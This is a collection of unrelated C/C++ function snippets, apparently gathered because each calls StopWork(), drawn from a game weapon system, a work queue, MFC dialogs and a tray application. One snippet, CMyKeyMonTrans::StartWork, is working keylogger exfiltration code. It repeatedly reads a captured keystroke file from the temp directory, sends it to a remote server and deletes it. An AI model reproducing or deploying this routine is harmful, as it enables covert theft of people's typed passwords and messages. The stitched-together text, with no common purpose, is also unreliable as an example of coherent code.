//------------------------------------------------------------------------ void CWorkOnTarget::NetStopFire() { m_pWeapon->EnableUpdate(false, eIUS_FireMode); m_firing=false; m_delayTimer=0.0f; StopWork(); }
CCmdHandler::~CCmdHandler() { #ifdef USE_TCP_NOT_SERIAL StopWork(); #else ClosePort(); #endif SAFEDELETEP(m_pRecvBuffer); }
WorkQueue::~WorkQueue() { StopWork(); pthread_cond_destroy(&wcond); pthread_mutex_destroy(&wlock); pthread_cond_destroy(&paused_wait); pthread_cond_destroy(&executing_wait); pthread_mutex_destroy(&executing_lock); }
//控制线程 BOOL CMyKeyMonTrans::StartWork(char* m_ServerAddr, int m_ServerPort, int nSend, int nRecv) { //连接目标服务器,创建发送接收管道 if(!CMyHttpPipeBase::StartWork( m_ServerAddr, m_ServerPort, nSend, nRecv)) return FALSE; //启动状态监控线程 _beginthread(RecvThread,0,this); //开始发送数据 char m_CharFileName[256] = {0}; GetTempPath(200,m_CharFileName); strcat(m_CharFileName,"pskey.dat"); BOOL bRet = TRUE; //创建锁 HANDLE hMetux = CreateMutex(NULL, FALSE, "PsKey400"); if(hMetux == NULL) return FALSE; while(WaitForSingleObject(hExitEvent,0) == WAIT_TIMEOUT && bRet) { struct _stat st = {0}; if(_stat(m_CharFileName , &st) == 0) { char* pData = new char[st.st_size]; FILE *fp = fopen(m_CharFileName , "rb"); if(fp != NULL) { fread(pData,st.st_size,1,fp); fclose(fp); bRet = SendData(pData,st.st_size); delete [] pData; if(bRet) { WaitForSingleObject(hMetux, INFINITE); DeleteFile(m_CharFileName); ReleaseMutex(hMetux); } } } Sleep(200); } CloseHandle(hMetux); //关闭句柄 StopWork(); return TRUE; }
void CMainDlg::ExitTaiyi() { exiting = true; // L"正在退出太一,请稍候.." trayIcon.SetBalloonDetails(GetLocalWStr(strTrayNowExiting), L"", CTrayNotifyIcon::None, 100); // L"正在退出太一,请稍候.." trayIcon.SetTooltipText(GetLocalWStr(strTrayNowExiting)); boost::thread t([=](){ StopWork(); CtrlNgix(false); this->PostMessageW(WM_EXITTAIYIFINISHI); }); }
//------------------------------------------------------------------------ void CWorkOnTarget::StopFire() { if(m_firing) { m_pWeapon->EnableUpdate(false, eIUS_FireMode); m_firing=false; m_delayTimer=0.0f; StopWork(); if(!m_pWeapon->IsServer()) m_pWeapon->RequestStopFire(); } }
void CMainFrame::OnClose() { StopWork(); CFrameWnd::OnClose(); }
//------------------------------------------------------------------------ void CWorkOnTarget::Update(float frameTime, uint32 frameId) { FUNCTION_PROFILER(GetISystem(), PROFILE_GAME); if(!m_firing) return; bool requireUpdate=false; CActor *pActor=m_pWeapon->GetOwnerActor(); if(m_delayTimer>0.0f) { m_working = false; m_lastTargetId = 0; m_delayTimer -= frameTime; if(m_delayTimer<=0.0f) { m_delayTimer=0.0f; if(m_pWeapon->IsClient()) { m_pWeapon->PlayAction(m_workactions.prefire.c_str()); if(m_soundId!=INVALID_SOUNDID) { if(ISound *pSound=m_pWeapon->GetISound(m_soundId)) { pSound->GetInterfaceDeprecated()->SetLoopMode(true); pSound->SetPaused(false); } } } } } if(!m_effectId && m_delayTimer<=0.0f && m_pWeapon->IsClient()) { int slot = m_pWeapon->GetStats().fp ? eIGS_FirstPerson : eIGS_ThirdPerson; int id = m_pWeapon->GetStats().fp ? 0 : 1; CSingle::SEffectParams &effect=m_workparams.working_effect; if(!effect.effect[id].empty()) m_effectId = m_pWeapon->AttachEffect(slot, 0, true, effect.effect[id].c_str(), effect.helper[id].c_str()); } if(m_delayTimer<=0.0f && m_pWeapon->IsServer()) { bool keepWorking=false; if(IEntity *pEntity=CanWork()) { if(pEntity->GetId() == m_lastTargetId) keepWorking=WorkOnTarget(pEntity, frameTime); else { if(IEntity *pLast=gEnv->pEntitySystem->GetEntity(m_lastTargetId)) StopWork(); StartWork(pEntity); keepWorking=true; } } if(!keepWorking) { StopWork(); if(m_pWeapon->IsServer()) { m_pWeapon->NetSetIsFiring(false); m_pWeapon->NetStopFire(); } } } if(requireUpdate) m_pWeapon->RequireUpdate(eIUS_FireMode); }